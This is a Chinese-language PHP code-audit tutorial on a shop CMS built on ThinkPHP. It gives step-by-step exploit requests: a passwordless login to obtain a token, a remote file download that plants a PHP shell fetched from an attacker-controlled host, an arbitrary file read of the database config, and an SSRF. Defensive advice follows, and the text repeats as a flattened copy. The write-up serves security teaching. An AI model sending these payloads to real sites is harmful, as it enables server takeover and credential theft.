商城 cms 审计 | php代码审计
字数 1386 2025-08-29 08:31:41

PHP代码审计实战:商城CMS漏洞挖掘与分析

0x00 前言与基础知识

学习前提

  • 熟悉PHP语法基础
  • 了解MVC架构模式(Model-View-Controller)
  • 掌握SQL预编译技术
  • 了解常见危险函数及其风险

审计方法

  1. 黑盒测试:通过AWVS等扫描工具进行漏洞扫描
  2. 白盒审计:通过搜索危险函数寻找漏洞点

0x01 环境说明

  • Web服务器:Apache 2.4.46
  • 数据库:MySQL 5.7.34
  • PHP版本:7.4.21
  • 框架:ThinkPHP 5.0.24

0x02 漏洞挖掘:远程文件上传Getshell

1. 发现危险函数

通过全局搜索fopen函数,在api目录下发现download_img函数:

function download_img($url, $path) {
    // 直接使用curl访问提供的url
    // path变量未做任何过滤
}

风险点

  • urlpath参数完全可控
  • 无任何过滤措施

2. Token获取分析

伪造Token思路

  1. 跟踪Token生成逻辑:
    • 位于app\common\logic\TokenLogic.php
    • Token格式:$type-$user_id-microtime
    • 校验方式:数据库查询验证

结论:无法直接伪造,必须通过合法途径获取

间接获取Token方法

发现wxLogin函数提供无密码登录方式:

function wxLogin() {
    // 用户不存在时可创建新用户
    // 通过后会生成新token
}

利用方式

POST /api/login/wx_login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

openid=1&unionid=1&sex=1&head_img=1&nickname=1

3. 漏洞复现步骤

  1. 获取Token

    • 通过wx_login接口获取有效token
  2. 准备恶意文件

    echo '<?php phpinfo();' > index.php
    python -m http.server 8099
    
  3. 执行文件上传

    POST /api/User/download_img HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    access_token=获取的token&url=http://攻击者IP:8099/index.php&path=info.php
    
  4. 验证

    • 访问http://target.com/info.php确认文件上传成功

0x03 漏洞挖掘:任意文件读取

1. 漏洞分析

发现file_get_contents危险函数使用:

function getFileBinary() {
    $file = file_get_contents($_POST['url']);
    return base64_encode(chunk_split($file));
}

风险点

  • url参数完全可控
  • 无任何路径限制或过滤
  • 可读取服务器任意文件

2. 漏洞复现

POST /api/Index/getFileBinary HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

url=../application/database.php

数据处理

  1. 获取base64编码响应
  2. 去除\r\n换行符:
    a.replaceAll('\r\n', '')
    
  3. 解码获取原始文件内容

扩展利用

  • 可作为有回显的SSRF使用
  • 可读取内网服务信息

0x04 漏洞挖掘:SSRF漏洞

1. 漏洞分析

发现curl_exec危险函数使用:

function curl_upload_image() {
    // url参数可控
    // 可发起任意HTTP请求
}

风险点

  • url参数完全可控
  • 无协议限制或内网防护

2. 漏洞复现

POST /api/Image/curl_upload_image HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

url=http://127.0.0.1:8088&file[tmp_name]=1&file[type]=1&file[name]=1

特点

  • 无回显SSRF
  • 可探测内网服务

0x05 总结与防御建议

漏洞共性

  1. 用户输入未经验证直接使用
  2. 危险函数无防护措施
  3. 权限校验不完善

防御建议

  1. 文件操作安全

    • 限制文件操作目录
    • 验证文件路径合法性
    • 禁用危险函数或严格过滤参数
  2. 认证安全

    • Token应使用强加密算法
    • 避免提供无密码登录方式
    • 实现完善的权限控制系统
  3. 输入验证

    // 示例:安全文件路径检查
    function safe_path($path) {
        $realpath = realpath($path);
        if(strpos($realpath, '/allowed/dir/') !== 0) {
            die('Invalid path');
        }
        return $realpath;
    }
    
  4. SSRF防护

    • 禁用非常用协议(如file://, gopher://等)
    • 过滤内网IP请求
    • 使用白名单域名限制
  5. 日志监控

    • 记录所有文件操作
    • 监控异常请求模式

附录:危险函数列表

函数名 风险类型 安全建议
fopen 文件操作 限制路径,验证参数
file_get_contents 文件读取/SSRF 严格过滤输入
curl_exec SSRF 限制目标URL
system/exec 命令注入 避免使用或严格过滤
unserialize 反序列化 避免使用不可信数据
PHP代码审计实战:商城CMS漏洞挖掘与分析 0x00 前言与基础知识 学习前提 熟悉PHP语法基础 了解MVC架构模式(Model-View-Controller) 掌握SQL预编译技术 了解常见危险函数及其风险 审计方法 黑盒测试 :通过AWVS等扫描工具进行漏洞扫描 白盒审计 :通过搜索危险函数寻找漏洞点 0x01 环境说明 Web服务器:Apache 2.4.46 数据库:MySQL 5.7.34 PHP版本:7.4.21 框架:ThinkPHP 5.0.24 0x02 漏洞挖掘:远程文件上传Getshell 1. 发现危险函数 通过全局搜索 fopen 函数,在api目录下发现 download_img 函数: 风险点 : url 和 path 参数完全可控 无任何过滤措施 2. Token获取分析 伪造Token思路 跟踪Token生成逻辑: 位于 app\common\logic\TokenLogic.php Token格式: $type-$user_id-microtime 校验方式:数据库查询验证 结论 :无法直接伪造,必须通过合法途径获取 间接获取Token方法 发现 wxLogin 函数提供无密码登录方式: 利用方式 : 3. 漏洞复现步骤 获取Token : 通过wx_ login接口获取有效token 准备恶意文件 : 执行文件上传 : 验证 : 访问 http://target.com/info.php 确认文件上传成功 0x03 漏洞挖掘:任意文件读取 1. 漏洞分析 发现 file_get_contents 危险函数使用: 风险点 : url 参数完全可控 无任何路径限制或过滤 可读取服务器任意文件 2. 漏洞复现 数据处理 : 获取base64编码响应 去除 \r\n 换行符: 解码获取原始文件内容 扩展利用 : 可作为有回显的SSRF使用 可读取内网服务信息 0x04 漏洞挖掘:SSRF漏洞 1. 漏洞分析 发现 curl_exec 危险函数使用: 风险点 : url 参数完全可控 无协议限制或内网防护 2. 漏洞复现 特点 : 无回显SSRF 可探测内网服务 0x05 总结与防御建议 漏洞共性 用户输入未经验证直接使用 危险函数无防护措施 权限校验不完善 防御建议 文件操作安全 : 限制文件操作目录 验证文件路径合法性 禁用危险函数或严格过滤参数 认证安全 : Token应使用强加密算法 避免提供无密码登录方式 实现完善的权限控制系统 输入验证 : SSRF防护 : 禁用非常用协议(如file://, gopher://等) 过滤内网IP请求 使用白名单域名限制 日志监控 : 记录所有文件操作 监控异常请求模式 附录:危险函数列表 | 函数名 | 风险类型 | 安全建议 | |--------|----------|----------| | fopen | 文件操作 | 限制路径,验证参数 | | file_ get_ contents | 文件读取/SSRF | 严格过滤输入 | | curl_ exec | SSRF | 限制目标URL | | system/exec | 命令注入 | 避免使用或严格过滤 | | unserialize | 反序列化 | 避免使用不可信数据 |